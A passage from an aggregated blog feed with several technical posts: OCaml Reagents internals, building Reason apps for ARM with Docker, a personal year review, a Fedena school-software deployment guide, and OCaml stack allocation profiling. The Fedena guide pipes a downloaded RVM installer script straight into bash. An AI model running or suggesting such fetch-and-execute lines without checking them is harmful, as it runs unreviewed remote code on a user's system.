Reagents ensure that the protocol does not deadlock. After eating, we release
the forks by spawning lightweight threads. In the next round, the philosophers
race for the available forks. If the thread scheduler is fair, then the
protocol provides fairness among the philosophers. The complete solution is
available
<a href="https://github.com/ocamllabs/reagents/blob/master/test/dining_philosophers.ml">here</a>.</p>

<h2 id="implementation">Implementation</h2>

<p>The key idea behind the implementation is that the reagent transaction executes
in two phases. The first phase involves collecting all the compare-and-swap
(CAS) operations necessary for the transaction, and the second phase is invoking
a k-CAS operation (emulated in software). The failure to gather all the
available CASes constitutes a permanent failure, causing the thread to explore
other alternatives in the case of a selective communication or block otherwise.
The failure in the second phase means that there is active interference from
other concurrent threads, in which case the transaction is retried.</p>

<p>Performance of the Reagents depends critically on having fine-grained control
over threads and schedulers for implementing backoff loops, blocking and
signalling. However, one of the main ideas of multicore OCaml is not to bake in
the thread scheduler into the compiler but rather describe them as libraries. To
this end, the reagents library is functorized over the following generic
scheduler interface:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="k">type</span> <span class="nc">Scheduler</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="c">(* continuation *)</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">cont</span>
  <span class="n">effect</span> <span class="nc">Suspend</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span> <span class="n">cont</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">option</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
  <span class="n">effect</span> <span class="nc">Resume</span>  <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">cont</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">end</span></code></pre></figure>

<p>The interface itself only describes the scheduler’s effects, whose behaviour is
defined by the
<a href="http://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/">handlers</a>.
<code class="language-plaintext highlighter-rouge">perform (Suspend f)</code> applies <code class="language-plaintext highlighter-rouge">f</code> to the current continuation, and allows the
Reagent library to stash the thread on the unavailable resource’s wait queue.
The return type of <code class="language-plaintext highlighter-rouge">f</code> is an option to handle the case when the resource might
have become available while suspending. If <code class="language-plaintext highlighter-rouge">f</code> returns <code class="language-plaintext highlighter-rouge">None</code>, then the control
returns to the scheduler. Once the resource becomes available, the reagent
library performs the <code class="language-plaintext highlighter-rouge">Resume</code> effect to resume the suspended thread.</p>

<h2 id="comparison-to-stm">Comparison to STM</h2>

<p>Reagents are less expressive than STM, which provides serializability. But in
return, Reagents provide stronger progress guarantee (lock-freedom) over STM
(obstruction-freedom)<sup id="fnref:stm" role="doc-noteref"><a href="#fn:stm" class="footnote" rel="footnote">2</a></sup>. A reagent transaction operating more than once on
the same memory location will fail at runtime. Abstractly, this behaviour is
disallowed since it cannot be represented as a k-CAS operation. Due to this
restriction, the transaction <code class="language-plaintext highlighter-rouge">pop s1 &gt;&gt;&gt; push s1</code> always fails, and prohibits
important patterns such as atomically pushing or popping multiple values from
the same stack. I am currently working on extending the reagents semantics to
relax this invariant. The resultant behaviour will be similar to a version of
snapshot isolation. While this is weaker than serializability semantics offered
by the STM, we will retain the benefit of lock-freedom.</p>

<h2 id="contribute">Contribute!</h2>

<p>Using the reagents library, we have implemented a collection of composable
concurrent data and synchronization structures such as stacks, queues, countdown
latches, reader-writer locks, condition variables, exchangers, atomic counters,
etc. There is great opportunity here to build a standard library for
fine-grained parallelism for Multicore OCaml, incorporating the latest
developments in lock-free data structures. There is still work to be done
optimising the implementation to remove allocations in the fast path, and
fine-tuning the reagents core.</p>

<p>Contributions to the <a href="https://github.com/ocamllabs/reagents">library</a> are most
welcome, and is a great way to contribute to the Multicore OCaml effort. Please
do file those issues and submit pull-requests.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:lib" role="doc-endnote">
      <p>Reagents is just a library, and you can implement your own <a href="https://en.wikipedia.org/wiki/Software_transactional_memory">favourite</a> <a href="http://research.microsoft.com/en-us/projects/revisions/">concurrent</a> <a href="http://www.kadix.ca/x10/doc/concepts/asyncfinishparallelism-1.html">programming</a> <a href="https://en.wikipedia.org/wiki/Fork%E2%80%93join_model">library</a>. <a href="#fnref:lib" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:stm" role="doc-endnote">
      <p>And then there are <a href="http://www.acc.ncku.edu.tw/chinese/faculty/shulc/courses/adb/transactional-memory/notlockfree.pdf">good arguments</a> to why the semantics should be even weaker. <a href="#fnref:stm" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Armed with Reason]]></title>
            <link>https://kcsrk.info/reason/arm/2016/05/16/armed-with-reason/</link>
            <guid isPermaLink="false">https://kcsrk.info/reason/arm/2016/05/16/armed-with-reason/</guid>
            <pubDate>Mon, 16 May 2016 10:00:05 GMT</pubDate>
            <description><![CDATA[This is a short tutorial on how to build
Reason apps for an ARM target with the help
of Docker. I am using Docker for
Mac, which is
still under beta program. Using Docker for development has two important
advantages over traditional cross-compilation. First, the Reason toolchain comes
packaged as a Docker image and hence no local installation is necessary.
Secondly, cross-compilers are often tricky to get right. Docker for Mac comes
with multiarch support and hence removes the need for traditional
cross-compilation.
Setup
I will be testing using a Cubietruck
running Linaro Desktop. But these instructions should also work for
Raspbian, a Debian optimized for the Raspberry pi
hardware.
Build
First get the dockerfile for Reason toolchain and build the image.
$ mkdir /tmp/reason_arm
$ cd /tmp/reason_arm
$ wget https://gist.githubusercontent.com/kayceesrk/dc37a6ffeeda2dea338550dd4e8ad7ec/raw/8e136b8b8170758bd5e9c0cacf70fed4f9ce3df1/Dockerfile
$ docker build -t reason-arm .


All set! Let’s build a “Hello, World!” program.
$ mkdir /tmp/reason_arm_hello
$ cd /tmp/reason_arm_hello
$ echo 'print_endline "Hello, Reason!"' > hello.re
$ docker run -it -v `pwd`:/src reason-arm
$ cd /src
$ rebuild hello.native
^C


The build artifacts are found in the host machines /tmp/reason_arm_hello/_build directory.
$ file _build/hello.native
_build/hello.native: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped


We can now transfer the file to the cubietruck and run it. My cubietruck’s IP
address is 192.168.0.9.
$ scp _build/hello.native linaro@192.168.0.9:
$ ssh linaro@192.168.0.9
Welcome to Linaro 13.04 (GNU/Linux 3.4.61+ armv7l)

* Documentation:  https://wiki.linaro.org/
Last login: Fri May 20 08:35:01 2016 from 192.168.0.3
linaro@cubietruck:~$ ./hello.native
Hello, Reason!]]></description>
            <content:encoded><![CDATA[<p>This is a short tutorial on how to build
<a href="http://facebook.github.io/reason/">Reason</a> apps for an ARM target with the help
of Docker. I am using <a href="https://blog.docker.com/2016/03/docker-for-mac-windows-beta/">Docker for
Mac</a>, which is
still under beta program. Using Docker for development has two important
advantages over traditional cross-compilation. First, the Reason toolchain comes
packaged as a Docker image and hence no local installation is necessary.
Secondly, cross-compilers are often tricky to get right. Docker for Mac comes
with multiarch support and hence removes the need for traditional
cross-compilation.</p>

<!--more-->

<h1 id="setup">Setup</h1>

<p>I will be testing using a <a href="https://en.wikipedia.org/wiki/Cubieboard">Cubietruck</a>
running Linaro Desktop. But these instructions should also work for
<a href="https://www.raspbian.org/">Raspbian</a>, a Debian optimized for the Raspberry pi
hardware.</p>

<h1 id="build">Build</h1>

<p>First get the dockerfile for Reason toolchain and build the image.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">mkdir</span> /tmp/reason_arm
<span class="nv">$ </span><span class="nb">cd</span> /tmp/reason_arm
<span class="nv">$ </span>wget https://gist.githubusercontent.com/kayceesrk/dc37a6ffeeda2dea338550dd4e8ad7ec/raw/8e136b8b8170758bd5e9c0cacf70fed4f9ce3df1/Dockerfile
<span class="nv">$ </span>docker build <span class="nt">-t</span> reason-arm .</code></pre></figure>

<p>All set! Let’s build a “Hello, World!” program.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">mkdir</span> /tmp/reason_arm_hello
<span class="nv">$ </span><span class="nb">cd</span> /tmp/reason_arm_hello
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'print_endline "Hello, Reason!"'</span> <span class="o">&gt;</span> hello.re
<span class="nv">$ </span>docker run <span class="nt">-it</span> <span class="nt">-v</span> <span class="sb">`</span><span class="nb">pwd</span><span class="sb">`</span>:/src reason-arm
<span class="nv">$ </span><span class="nb">cd</span> /src
<span class="nv">$ </span>rebuild hello.native
^C</code></pre></figure>

<p>The build artifacts are found in the host machines <code class="language-plaintext highlighter-rouge">/tmp/reason_arm_hello/_build</code> directory.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>file _build/hello.native
_build/hello.native: ELF 32-bit LSB executable, ARM, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked <span class="o">(</span>uses shared libs<span class="o">)</span>, <span class="k">for </span>GNU/Linux 2.6.32, not stripped</code></pre></figure>

<p>We can now transfer the file to the cubietruck and run it. My cubietruck’s IP
address is <code class="language-plaintext highlighter-rouge">192.168.0.9</code>.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>scp _build/hello.native linaro@192.168.0.9:
<span class="nv">$ </span>ssh linaro@192.168.0.9
Welcome to Linaro 13.04 <span class="o">(</span>GNU/Linux 3.4.61+ armv7l<span class="o">)</span>

<span class="k">*</span> Documentation:  https://wiki.linaro.org/
Last login: Fri May 20 08:35:01 2016 from 192.168.0.3
linaro@cubietruck:~<span class="nv">$ </span>./hello.native
Hello, Reason!</code></pre></figure>

]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[2015 in Review]]></title>
            <link>https://captnemo.in/blog/2016/02/15/2015-in-review/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2016/02/15/2015-in-review/</guid>
            <pubDate>Mon, 15 Feb 2016 00:00:00 GMT</pubDate>
            <description><![CDATA[2015 was a good year for me. I accomplished a lot of things, and was happy for most part of the year. In no particular order, here are the things that stand out for me:
Went to HillHacks, and made lots of friends. Helped organize the conference.
Joined Razorpay in June
Moved to Bangalore
Announced my book, The Joy of Software Development
Did lots of speaker things:
    
Joy of Software Development talk at IIT Roorkee
Flash Talks on SDSLabs, CTFs and a few more things at HillHacks
A full-length talk on the book itself at HillHacks
Did the HillHacks and HackBeach quizes
Announced my Homeopathy Bug Bounty Program at hackbeach.
Gave a talk on Fun with HTTP at Barcamp Bangalore.
Learnt some slacklining at hackbeach. Helped with conference scheduling as well.
Made lots of new friends at Bangalore.
Started playing board games, including being a DM at several Dungeons and Dragons sessions.
Started quizzing in bangalore as well. Mostly at Cluesday, Vapors.
Reading
I started with a goal of 20 books for this year, and ended up reading about 28. Tried experimenting with Audiobooks near the year end, and failed. Bought a Kindle paperwhite as well. I tend to read a lot of Fantasy and SF, and this continued in 2015 as well. The best books I read this year (in order):
Lions of Al Rassan [review]
The Goblin Emperor [review]
The Martian [review]
A complete list is on Goodreads
Tech
Launched hackercouch as a personal project.
Shifted to Arch Linux + i3wm setup for my laptop. See Setup page for more details.
Left facebook, mostly because of their stance on Net Neutrality and the FreeBasics debacle in India.]]></description>
            <content:encoded><![CDATA[<p>2015 was a good year for me. I accomplished a lot of things, and was happy for most part of the year. In no particular order, here are the things that stand out for me:</p>

<ul>
  <li><a href="https://captnemo.in/blog/2015/07/20/hillhacks/">Went to HillHacks</a>, and made lots of friends. Helped organize the conference.</li>
  <li>Joined <a href="https://razorpay.com">Razorpay</a> in June</li>
  <li>Moved to Bangalore</li>
  <li>Announced my book, <a href="https://captnemo.in/blog/2015/06/07/on-writing/">The Joy of Software Development</a></li>
  <li>Did lots of speaker things:
    <ul>
      <li><a href="https://captnemo.in/talks/josd/">Joy of Software Development</a> talk at IIT Roorkee</li>
      <li>Flash Talks on <a href="https://docs.google.com/presentation/d/1qR3JuGU7FXry333qGfVvapshDn72oCjEN8l7bShQl2Y/pub?start=false&amp;loop=false&amp;delayms=3000">SDSLabs</a>, <a href="http://slides.com/captn3m0/ctf/">CTFs</a> and a few more things at HillHacks</li>
      <li>A full-length talk on the book itself at HillHacks</li>
      <li>Did the <a href="https://speakerdeck.com/captn3m0/hillhacks-quiz-2015">HillHacks</a> and <a href="https://docs.google.com/presentation/d/1glE2G1xKGkSVELVaQ7YJ4JGul0NLzfHRl1xGgMIwi9Q/pub?start=false&amp;loop=false&amp;delayms=3000">HackBeach</a> quizes</li>
      <li>Announced my <a href="https://captnemo.in/homeopathy/">Homeopathy Bug Bounty Program</a> at hackbeach.</li>
      <li>Gave a talk on <a href="http://slides.com/captn3m0/fun-with-http">Fun with HTTP</a> at Barcamp Bangalore.</li>
    </ul>
  </li>
  <li>Learnt some slacklining at hackbeach. Helped with conference scheduling as well.</li>
  <li>Made <a href="https://hasgeek.com">lots</a> of <a href="http://nilenso.com">new friends</a> at Bangalore.</li>
  <li>Started playing board games, including being a DM at several Dungeons and Dragons sessions.</li>
  <li>Started quizzing in bangalore as well. Mostly at Cluesday, Vapors.</li>
</ul>

<h2 id="reading">Reading</h2>

<p>I started with a goal of 20 books for this year, and ended up reading about 28. Tried experimenting with Audiobooks near the year end, and failed. Bought a Kindle paperwhite as well. I tend to read a lot of Fantasy and SF, and this continued in 2015 as well. The best books I read this year (in order):</p>

<ul>
  <li>Lions of Al Rassan [<a href="https://www.goodreads.com/review/show/1241094426">review</a>]</li>
  <li>The Goblin Emperor [<a href="https://www.goodreads.com/review/show/1400549503">review</a>]</li>
  <li>The Martian [<a href="https://www.goodreads.com/review/show/1148506677">review</a>]</li>
</ul>

<p>A complete list is on <a href="https://www.goodreads.com/user/year_in_books/2015/6170741">Goodreads</a></p>

<h2 id="tech">Tech</h2>

<ul>
  <li>Launched <a href="https://hackercouch.com">hackercouch</a> as a personal project.</li>
  <li>Shifted to Arch Linux + i3wm setup for my laptop. See <a href="https://captnemo.in/setup/">Setup</a> page for more details.</li>
  <li>Left facebook, mostly because of their stance on Net Neutrality and the FreeBasics debacle in India.</li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Indian startups ecosystem: Fear of failure grounds our success story]]></title>
            <link>https://nadh.in/blog/fear-of-success-grounds-failure/</link>
            <guid isPermaLink="false">https://nadh.in/blog/fear-of-success-grounds-failure/</guid>
            <pubDate>Sat, 26 Dec 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[The Indian startup ecosystem has taken shape and exploded in the last few years, and so have the countless stories surrounding them. Unsurprisingly, lessons of unsuccessful ideas and attempts haven’t gotten as much precedence as successful counterparts.]]></description>
            <content:encoded><![CDATA[<p>The Indian startup ecosystem has taken shape and exploded in the last few years, and so have the countless stories surrounding them. Unsurprisingly, lessons of unsuccessful ideas and attempts haven’t gotten as much precedence as successful counterparts.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Deploying Fedena Using Ubuntu 14.04]]></title>
            <link>https://aboobacker.in/2015/11/18/deploying-fedena-using-ubuntu-14-04.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2015/11/18/deploying-fedena-using-ubuntu-14-04.html</guid>
            <pubDate>Wed, 18 Nov 2015 04:00:13 GMT</pubDate>
            <description><![CDATA[Install Ruby Dependancies

sudo apt-get update
sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties


Install Ruby Using RVM

sudo apt-get install libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
rvm install 1.8.7
rvm use 1.8.7 --default
ruby -v


Setting up MySQL server
Fedena uses mysql, so run,

sudo apt-get install libmysqlclient-dev mysql-server


Do remember the mysql password you set during this step, it is required later
Checking Out modified version version of fedena
I made some modifications in project fedena to make it easily installable


git clone https://github.com/tachyons/project_fedena.git
cd project_fedena
cp config/database.yml.example config/database.yml
bundle install
rake db:create
bundle exec rake fedena:plugins:install_all


Installing passenger and nginix

# Install passenger PGP key and add HTTPS support for APT
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 561F9B9CAC40B2F7
sudo apt-get install -y apt-transport-https ca-certificates

# Add passenger APT repository
sudo sh -c 'echo deb https://oss-binaries.phusionpassenger.com/apt/passenger trusty main > /etc/apt/sources.list.d/passenger.list'
sudo apt-get update

# Install Passenger + Nginx
sudo apt-get install -y nginx-extras passenger


Edit /etc/nginx/nginx.conf and uncomment passenger_root and passenger_ruby. For example, you may see this:

# passenger_root /some-filename/locations.ini;
# passenger_ruby /usr/bin/passenger_free_ruby;


Remove the ‘#’ characters, like this:

passenger_root /some-filename/locations.ini;
passenger_ruby /usr/bin/passenger_free_ruby;


Now you can validate the installation using the command

sudo passenger-config validate-install


now create an entry in /etc/ngnix/sites.enabled

sudo vim /etc/nginx/sites-enabled/project_fedena


Now modify and paste following text,ie edit your server name and project path

server {
    listen       80;
    server_name  fedena.example.com;
    location / {
    	root   /your/fedena/directory/public;
     	passenger_enabled on;
    }
    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   html;
    }
  	error_page 413 /413.html;
   	location = /413.html{
       root   html;
       allow all;
    }
 }



you can verify above configuration by adding 127.0.1.1	fedena.example.com
 in /etc/hosts
Now restart the ngnix server and check fedena.example.com

sudo service ngnix restart


References
https://www.phusionpassenger.com/library/install/nginx/install/oss/trusty/
http://aboobacker.in/installing-project-fedena-in-14-04/]]></description>
            <content:encoded><![CDATA[<ul>
  <li>Install Ruby Dependancies</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nb">install </span>git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties
</code></pre></div></div>

<ul>
  <li>Install Ruby Using RVM</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
curl <span class="nt">-L</span> https://get.rvm.io | bash <span class="nt">-s</span> stable
<span class="nb">source</span> ~/.rvm/scripts/rvm
<span class="nb">echo</span> <span class="s2">"source ~/.rvm/scripts/rvm"</span> <span class="o">&gt;&gt;</span> ~/.bashrc
rvm <span class="nb">install </span>1.8.7
rvm use 1.8.7 <span class="nt">--default</span>
ruby <span class="nt">-v</span>
</code></pre></div></div>

<ul>
  <li>Setting up MySQL server
Fedena uses mysql, so run,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>libmysqlclient-dev mysql-server
</code></pre></div></div>
<p>Do remember the mysql password you set during this step, it is required later</p>

<ul>
  <li>Checking Out modified version version of fedena</li>
</ul>

<p>I made some modifications in project fedena to make it easily installable</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
git clone https://github.com/tachyons/project_fedena.git
<span class="nb">cd </span>project_fedena
<span class="nb">cp </span>config/database.yml.example config/database.yml
bundle <span class="nb">install
</span>rake db:create
bundle <span class="nb">exec </span>rake fedena:plugins:install_all
</code></pre></div></div>

<ul>
  <li>Installing passenger and nginix</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install passenger PGP key and add HTTPS support for APT</span>
<span class="nb">sudo </span>apt-key adv <span class="nt">--keyserver</span> hkp://keyserver.ubuntu.com:80 <span class="nt">--recv-keys</span> 561F9B9CAC40B2F7
<span class="nb">sudo </span>apt-get <span class="nb">install</span> <span class="nt">-y</span> apt-transport-https ca-certificates

<span class="c"># Add passenger APT repository</span>
<span class="nb">sudo </span>sh <span class="nt">-c</span> <span class="s1">'echo deb https://oss-binaries.phusionpassenger.com/apt/passenger trusty main &gt; /etc/apt/sources.list.d/passenger.list'</span>
<span class="nb">sudo </span>apt-get update

<span class="c"># Install Passenger + Nginx</span>
<span class="nb">sudo </span>apt-get <span class="nb">install</span> <span class="nt">-y</span> nginx-extras passenger
</code></pre></div></div>

<p>Edit /etc/nginx/nginx.conf and uncomment passenger_root and passenger_ruby. For example, you may see this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># passenger_root /some-filename/locations.ini;</span>
<span class="c"># passenger_ruby /usr/bin/passenger_free_ruby;</span>
</code></pre></div></div>
<p>Remove the ‘#’ characters, like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passenger_root /some-filename/locations.ini<span class="p">;</span>
passenger_ruby /usr/bin/passenger_free_ruby<span class="p">;</span>
</code></pre></div></div>
<p>Now you can validate the installation using the command</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>passenger-config validate-install
</code></pre></div></div>

<p>now create an entry in /etc/ngnix/sites.enabled</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>vim /etc/nginx/sites-enabled/project_fedena
</code></pre></div></div>
<p>Now modify and paste following text,ie edit your server name and project path</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server <span class="o">{</span>
    listen       80<span class="p">;</span>
    server_name  fedena.example.com<span class="p">;</span>
    location / <span class="o">{</span>
    	root   /your/fedena/directory/public<span class="p">;</span>
     	passenger_enabled on<span class="p">;</span>
    <span class="o">}</span>
    error_page   500 502 503 504  /50x.html<span class="p">;</span>
    location <span class="o">=</span> /50x.html <span class="o">{</span>
        root   html<span class="p">;</span>
    <span class="o">}</span>
  	error_page 413 /413.html<span class="p">;</span>
   	location <span class="o">=</span> /413.html<span class="o">{</span>
       root   html<span class="p">;</span>
       allow all<span class="p">;</span>
    <span class="o">}</span>
 <span class="o">}</span>

</code></pre></div></div>
<p>you can verify above configuration by adding <code class="language-plaintext highlighter-rouge">127.0.1.1	fedena.example.com
</code> in <code class="language-plaintext highlighter-rouge">/etc/hosts</code></p>

<p>Now restart the ngnix server and check fedena.example.com</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>service ngnix restart
</code></pre></div></div>

<h2 id="references">References</h2>
<ul>
  <li>https://www.phusionpassenger.com/library/install/nginx/install/oss/trusty/</li>
  <li>http://aboobacker.in/installing-project-fedena-in-14-04/</li>
</ul>]]></content:encoded>
            <author>Aboobacker M K</author>
            <enclosure url="https://aboobacker.in/%7B%22feature%22=%3Enil%7D" length="0" type="image//%7B%22feature%22=%3Enil%7D"/>
        </item>
        <item>
            <title><![CDATA[Profiling the stack]]></title>
            <link>https://kcsrk.info/ocaml/profiling/2015/10/27/profiling-the-stack/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/profiling/2015/10/27/profiling-the-stack/</guid>
            <pubDate>Tue, 27 Oct 2015 17:29:30 GMT</pubDate>
            <description><![CDATA[In the last
post,
I described a flat allocation profiler for OCaml 4.02 bytecode interpreter.
In this post, I’ll describe further developments which add support for call
stack information and better location information. Lets dive straight to the
usage:
Enabling stack profiling
Stack profiling is enabled by setting the environment variable
CAML_PROFILE_STACK to the intended depth of stack. Suppose we would like to
attribute any allocation to the current function, we would set
CAML_PROFILE_STACK=1. To do the same to the current function and its caller,
we would set CAML_PROFILE_STACK=2. CAML_PROFILE_STACK=<INFINITY> should
give you stack profile all the way down to the first function.
Why should I care about the stack depth?
Because it affects the program performance. Enabling stack profiling walks the
stack for every allocation. This has the potential to severely affect the
program performance. Most often, with a flat profile, you’ve tracked the
offending allocation to some function in the standard library such as1:
File "bytes.ml", line 59, characters 7-81:
  C_CALL1 caml_create_string

File "src/bigstring.ml", line 98, characters 20-37:
  C_CALL1 caml_create_string


And all you want is to find out the caller of that standard library function in
your code. A stack depth of a small number should provide you this information.
You might have to play around with the stack depth to identify what you are
looking for.
Profiling N-queens
You can obtain and install the profiling enabled OCaml 4.02
here.
Let us obtain the flat profile first.
$ wget http://caml.inria.fr/pub/old_caml_site/Examples/oc/basics/queens.ml
$ ocamlc -o queens -g queens.ml
$ CAML_PROFILE_ALLOC=queens.preprof ./queens
Chess boards's size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions <n/y> ? n
$ ./tools/allocprof queens.preprof queens.prof
$ head -n10 queens.prof
Total: 77,863 words
Instr   Words   % of total      Location
-----   -----   ----------      --------
2488    31440   40.38%          file "list.ml", line 55, characters 32-39
27681   31440   40.38%          file "queens.ml", line 61, characters 46-52
27775   5895    7.57%           file "queens.ml", line 38, characters 2-113
27759   4112    5.28%           file "queens.ml", line 40, characters 33-41
27687   3930    5.05%           file "queens.ml", line 61, characters 14-59
2403    86      0.11%           file "pervasives.ml", line 490, characters 8-63
5391    44      0.06%           file "list.ml", line 20, characters 15-29


Observe that we now have the precise location information directly in the
profile, whereas
earlier
one had to manually identify the source location using the instruction
information. In this profile, we see that most allocations were in
list.ml:55, which is the List.map function. However, we cannot pin down the
source of these allocations in queens.ml from this profile since the profile
is flat. Let us now obtain the stack allocation profile, which will reveal the
source of these allocations in queens.ml.
$ CAML_PROFILE_ALLOC=queens.preprof CAML_PROFILE_STACK=10000 ./queens
Chess boards's size ? 8
The 8 queens problem has 92 solutions.

Do you want to see the solutions <n/y> ? n
$ ./tools/allocprof queens.preprof queens.prof --sort-stack
$ head -n10 queens.prof
Total: 77,863 words
Instr   Current Cur %   Stack   Stack % Location
-----   ------- -----   -----   ------- --------
27836   0       0.00%   76911   98.78%  file "queens.ml", line 100, characters 33-42
27549   0       0.00%   76870   98.72%  file "queens.ml", line 85, characters 17-36
27466   0       0.00%   76473   98.21%  file "queens.ml", line 45, characters 18-31
27715   0       0.00%   65117   83.63%  file "queens.ml", line 62, characters 4-22
27694   0       0.00%   62880   80.76%  file "queens.ml", line 61, characters 31-59
2487    0       0.00%   55020   70.66%  file "list.ml", line 55, characters 32-39
2483    0       0.00%   31440   40.38%  file "list.ml", line 55, characters 20-23


I’ve chosen a stack depth of 10000 to obtain the complete stack profile of the
program. The option --sort-stack to allocprof sorts the results based on
the stack allocation profile. We can now clearly see the stack of functions
that perform most allocations. The line
27836   0       0.00%   76911   98.78%  file "queens.ml", line 100, characters 33-42


says that 98.78% of all allocations were performed by the function at
queens.ml:100, characters 33-42, and its callees. This isn’t surprising since
this function is the top-level main
function!
More interesting is the 98.21% of allocations on queens.ml:45. This is the
recursive call to the concmap
function,
which in turn invokes the List.map function on queens.ml:61. We’ve now
pinned down the source of the allocation in list.ml:55 to queens.ml:61.
Caveats and conclusions
Unlike stack profiles of C programs, OCaml’s stack profile does not include all
the functions in the call stack since many calls are in tail positions. Calls
to functions at tail position will not have a frame on the stack, and hence
will not be included in the profile.
Please do submit issues and bug-fixes. Pull-requests are welcome! Also, here is
my trimmed down (yay \o/!), non-exhaustive wish list of features:
Dump the profile every few milliseconds to study the allocation behavior of
programs over time.
Save the location information in the object
header
and dump the heap at every GC to catch space leaks.
Thanks to trevorsummerssmith for the example. ↩]]></description>
            <content:encoded><![CDATA[<p>In the <a href="http://kcsrk.info/ocaml/profiling/2015/09/23/bytecode-allocation-profiler/">last
post</a>,
I described a <em>flat</em> allocation profiler for OCaml 4.02 bytecode interpreter.
In this post, I’ll describe further developments which add support for call
stack information and better location information. Lets dive straight to the
usage:</p>

<!--more-->

<h1 id="enabling-stack-profiling">Enabling stack profiling</h1>

<p>Stack profiling is enabled by setting the environment variable
<code class="language-plaintext highlighter-rouge">CAML_PROFILE_STACK</code> to the intended depth of stack. Suppose we would like to
attribute any allocation to the current function, we would set
<code class="language-plaintext highlighter-rouge">CAML_PROFILE_STACK=1</code>. To do the same to the current function and its caller,
we would set <code class="language-plaintext highlighter-rouge">CAML_PROFILE_STACK=2</code>. <code class="language-plaintext highlighter-rouge">CAML_PROFILE_STACK=&lt;INFINITY&gt;</code> should
give you stack profile all the way down to the first function.</p>

<h2 id="why-should-i-care-about-the-stack-depth">Why should I care about the stack depth?</h2>

<p>Because it affects the program performance. Enabling stack profiling walks the
stack for <strong>every</strong> allocation. This has the potential to severely affect the
program performance. Most often, with a flat profile, you’ve tracked the
offending allocation to some function in the standard library such as<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">File <span class="s2">"bytes.ml"</span>, line 59, characters 7-81:
  C_CALL1 caml_create_string

File <span class="s2">"src/bigstring.ml"</span>, line 98, characters 20-37:
  C_CALL1 caml_create_string</code></pre></figure>

<p>And all you want is to find out the caller of that standard library function in
your code. A stack depth of a small number should provide you this information.
You might have to play around with the stack depth to identify what you are
looking for.</p>

<h1 id="profiling-n-queens">Profiling N-queens</h1>

<p>You can obtain and install the profiling enabled OCaml 4.02
<a href="http://kcsrk.info/ocaml/profiling/2015/09/23/bytecode-allocation-profiler/#instructions">here</a>.
Let us obtain the flat profile first.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>wget http://caml.inria.fr/pub/old_caml_site/Examples/oc/basics/queens.ml
